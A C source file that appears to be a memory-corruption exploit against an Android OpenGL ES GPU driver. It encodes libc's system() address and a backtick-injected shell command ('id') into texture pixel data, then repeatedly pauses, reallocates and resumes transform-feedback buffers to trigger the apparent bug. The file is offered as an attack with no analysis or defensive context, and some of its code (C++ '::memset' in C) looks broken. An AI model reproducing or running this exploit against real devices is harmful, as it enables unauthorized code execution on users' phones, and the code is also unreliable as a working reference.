#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <math.h>
#include <dlfcn.h>
#include <GLES3/gl3.h>
#include <EGL/egl.h>

void encode_pixel_gold(uint8_t* out, uint32_t target_bits) {
    uint32_t r = target_bits & 0x1FF, g = (target_bits >> 9) & 0x1FF, b = (target_bits >> 18) & 0x1FF, e = (target_bits >> 27) & 0x1F;
    float scale = powf(2.0f, (float)e - 24.0f);
    float* f_ptr = (float*)out;
    f_ptr[0] = (float)r * scale; f_ptr[1] = (float)g * scale; f_ptr[2] = (float)b * scale;
}

EGLDisplay display; EGLConfig config; EGLContext context; EGLSurface surface;
int initEGL() {
    display = eglGetDisplay(EGL_DEFAULT_DISPLAY); eglInitialize(display, NULL, NULL);
    const EGLint cfg_attr[] = { EGL_SURFACE_TYPE, EGL_PBUFFER_BIT, EGL_RENDERABLE_TYPE, EGL_OPENGL_ES3_BIT, EGL_NONE };
    EGLint n; eglChooseConfig(display, cfg_attr, &config, 1, &n);
    const EGLint pbuf_attr[] = { EGL_WIDTH, 64, EGL_HEIGHT, 64, EGL_NONE };
    surface = eglCreatePbufferSurface(display, config, pbuf_attr);
    const EGLint ctx_attr[] = { EGL_CONTEXT_CLIENT_VERSION, 3, EGL_NONE };
    context = eglCreateContext(display, config, EGL_NO_CONTEXT, ctx_attr);
    eglMakeCurrent(display, surface, surface, context);
    return 0;
}

int main() {
    void* handle = dlopen("libc.so", RTLD_LAZY);
    uint64_t system_addr = (uint64_t)dlsym(handle, "system");
    printf("\n[+] --- THE FINAL MISSION: ZERO ERROR --- \n");
    printf("[+] Target System: 0x%lx\n", system_addr);

    initEGL();
uint8_t* buf_payload = (uint8_t *)malloc(8192);
    
    const char* cmd = "log -t LOG `id;# `;    ";
    ::memset(buf_payload, 0, 8192);

  
    for(int i = 0; i < 6; i++) {
        uint32_t chunk = 0x00000000;
        int start_idx = i * 4;
        
        memcpy(&chunk, cmd + start_idx, 4);

     
        if (i == 5) chunk &= 0x00FFFFFF;

        encode_pixel_gold(&buf_payload[i * 12], chunk);
    }

    uint32_t low = (uint32_t)(system_addr & 0xFFFFFFFF);
    uint32_t high = (uint32_t)(system_addr >> 32);

    for (int p = 6; p < 200; p++) {
        if (p % 2 == 0) {
            encode_pixel_gold(&buf_payload[p * 12], low);  
        } else {
            encode_pixel_gold(&buf_payload[p * 12], high);
        }
    }
 
    const GLchar *vs_s = "#version 300 es\nin vec4 d; out vec4 o; void main(){o=d+vec4(1.0);}";
    const GLchar *fs_s = "#version 300 es\nprecision mediump float; out vec4 c; void main(){c=vec4(1.0);}";
    GLuint vs = glCreateShader(GL_VERTEX_SHADER); glShaderSource(vs, 1, &vs_s, NULL); glCompileShader(vs);
    GLuint fs = glCreateShader(GL_FRAGMENT_SHADER); glShaderSource(fs, 1, &fs_s, NULL); glCompileShader(fs);
    GLuint prog = glCreateProgram(); glAttachShader(prog, vs); glAttachShader(prog, fs);
    const GLchar *vy[] = {"o"}; glTransformFeedbackVaryings(prog, 1, vy, GL_SEPARATE_ATTRIBS);
    glLinkProgram(prog); glUseProgram(prog);

    printf("[*] Firing the final silver bullet...\n");

    for (int iter = 0; iter < 20; iter++) {
        GLuint tex; glGenTextures(1, &tex); glBindTexture(GL_TEXTURE_3D, tex);
        glTexStorage3D(GL_TEXTURE_3D, 1, GL_RGB9_E5, 100, 1, 1); 
        GLuint tfb, tfd; glGenBuffers(1, &tfb); glGenTransformFeedbacks(1, &tfd);
        glBindTransformFeedback(GL_TRANSFORM_FEEDBACK, tfd);
        glBindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 0, tfb);
        glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 512, NULL, GL_DYNAMIC_DRAW);
        glFinish(); usleep(10000); 
        glBeginTransformFeedback(GL_POINTS);
        glFinish(); glDrawArrays(GL_POINTS, 0, 3); glFinish();
        glPauseTransformFeedback(); glFinish(); 
        glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 1024, NULL, GL_DYNAMIC_DRAW);
        glFinish();
        glTexSubImage3D(GL_TEXTURE_3D, 0, 0, 0, 0, 32, 1, 1, GL_RGB, GL_FLOAT, buf_payload);
        glFinish();
        glResumeTransformFeedback();
        glDrawArrays(GL_POINTS, 0, 3); 
        glFinish(); 
        glDeleteTextures(1, &tex); glDeleteBuffers(1, &tfb); glDeleteTransformFeedbacks(1, &tfd);
    }
 
    return 0;
}